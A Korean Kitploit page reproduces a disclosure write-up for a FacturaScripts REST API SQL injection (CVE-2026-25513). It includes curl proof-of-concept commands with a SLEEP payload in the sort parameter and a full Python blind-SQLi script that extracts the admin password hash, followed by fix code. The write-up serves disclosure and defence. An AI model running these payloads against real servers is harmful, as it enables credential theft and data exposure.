Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScripts의 API ORDER BY 절에 SQL 인젝션 취약점이 존재합니다. | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2026-25513
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts의 API ORDER BY 절에 SQL 인젝션 취약점이 존재합니다.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-25513: FacturaScripts API ORDER BY 절의 SQL 인젝션

개요

필드세부 정보
CVE IDCVE-2026-25513
심각도HIGH
권고권고 보기
발견자Lukasz Rybak

영향을 받는 제품

  • facturascripts/facturascripts (버전: < 2025.81)

CWE 분류

  • CWE-20: Improper Input Validation
  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  • CWE-943: Improper Neutralization of Special Elements in Data Query Logic
  • CWE-1286: Improper Validation of Syntactic Correctness of Input

세부 정보

요약

FacturaScripts REST API에는 치명적인 SQL 인젝션 취약점이 존재하며, 인증된 API 사용자가 sort 매개변수를 통해 임의의 SQL 쿼리를 실행할 수 있습니다. 이 취약점은 ModelClass::getOrderBy() 메서드에 존재하며, 사용자가 제공한 정렬 매개변수가 검증이나 필터링 없이 SQL ORDER BY 절에 직접 연결됩니다. 이는 정렬 기능을 지원하는 모든 API 엔드포인트에 영향을 미칩니다.


세부 사항

FacturaScripts REST API는 다양한 엔드포인트(예: /api/3/users, /api/3/attachedfiles, /api/3/customers)를 통해 데이터베이스 모델을 노출합니다. 이러한 엔드포인트는 클라이언트가 결과 정렬 순서를 지정할 수 있게 하는 sort 매개변수를 지원합니다. API는 취약한 getOrderBy() 함수를 호출하는 ModelClass::all() 메서드를 통해 이 매개변수를 처리합니다.

취약한 코드 위치

1. 레거시 모델: 파일: /Core/Model/Base/ModelClass.php 메서드: getOrderBy() $order 배열의 키와 값을 직접 연결합니다.

2. 최신 모델(DbQuery): 파일: /Core/DbQuery.php 메서드: orderBy() 줄: 255-259

root@kitploit:~
        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

이 검사는 SQL 함수를 허용하기 위한 의도이지만 이를 검증하지 못하여 임의의 SQL 인젝션이 가능하게 됩니다.


개념 증명(PoC)

사전 요구 사항

  • 유효한 API 인증 토큰(X-Auth-Token 헤더)
  • FacturaScripts API 엔드포인트에 대한 액세스 권한

단계별 검증(CLI)

FacturaScripts는 기존 API 키를 필요로 하므로, 먼저 웹 인터페이스를 통해 로그인하여 유효한 키를 찾습니다.

1. 로그인 및 유효한 API 키 검색: 설정에 액세스하고 사용 가능한 첫 번째 키를 검색하기 위해 CSRF 토큰과 세션 쿠키를 처리합니다.

root@kitploit:~
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. 시간 기반 SQL 인젝션 검증: 추출된 API_KEY를 X-Auth-Token 헤더에 사용합니다.

root@kitploit:~
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

예상 결과: 인젝션된 요청은 훨씬 더 오래 걸리며(지연 시간은 데이터베이스 레코드에 따라 다름), 이로써 SQL 인젝션이 확인됩니다.


자동화된 악용 도구

이 스크립트는 FacturaScripts에 자동으로 로그인하고 유효한 API 키를 검색한 후, 시간 기반 블라인드 SQL 인젝션을 사용하여 대소문자를 구분하는 데이터 추출을 수행합니다.

root@kitploit:~
import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()
이미지

영향

데이터 기밀성

  • 블라인드 SQL 인젝션 기법을 통한 전체 데이터베이스 노출
  • 다음을 포함한 민감한 데이터 추출:
    • 사용자 자격 증명 및 API 키
    • 고객 PII(개인 식별 정보)
    • 금융 기록 및 거래 데이터
    • 비즈니스 인텔리전스 및 가격 정보
    • 시스템 구성 및 비밀정보

영향받는 대상

  • 통합을 위해 FacturaScripts API를 사용하는 조직
  • API를 사용하는 모바일 앱 및 타사 통합
  • API를 통해 데이터에 접근할 수 있는 모든 사용자
  • API 액세스 권한이 있는 비즈니스 파트너

권장 수정 사항

즉시 조치

옵션 1: 엄격한 화이트리스트 검증 구현(권장)

root@kitploit:~
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }

        // Escape column name
        $safeColumn = self::$dataBase->escapeColumn($key);
        $result .= $coma . $safeColumn . ' ' . $value;
        $coma = ', ';
    }

    return $result;
}

옵션 2: 데이터베이스 이스케이프 함수 사용

root@kitploit:~
private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    foreach ($order as $key => $value) {
        // Escape identifiers and validate direction
        $safeColumn = self::$dataBase->escapeColumn($key);
        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
            ? strtoupper($value)
            : 'ASC';

        $result .= $coma . $safeColumn . ' ' . $safeDirection;
        $coma = ', ';
    }

    return $result;
}

옵션 3: 쿼리 빌더 패턴 사용

root@kitploit:~
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
    $query = self::table();

    // Apply WHERE conditions
    foreach ($where as $condition) {
        $query->where($condition);
    }

    // Apply ORDER BY with validation
    foreach ($order as $column => $direction) {
        if (!array_key_exists($column, static::getModelFields())) {
            continue; // Skip invalid columns
        }
        $query->orderBy($column, $direction);
    }

    return $query->offset($offset)->limit($limit)->get();
}

API 보안 모범 사례

root@kitploit:~
// Add to API configuration
$config = [
    'max_sort_fields' => 3,  // Limit number of sort fields
    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
    'default_sort' => 'id ASC',  // Safe default
];

크레딧

발견자: Łukasz Rybak

참조

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99
  • https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25513
  • https://github.com/advisories/GHSA-cjfx-qhwm-hf99

면책 조항

이 CVE는 조율된 취약점 공개 절차에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 제공됩니다.

도구 다운로드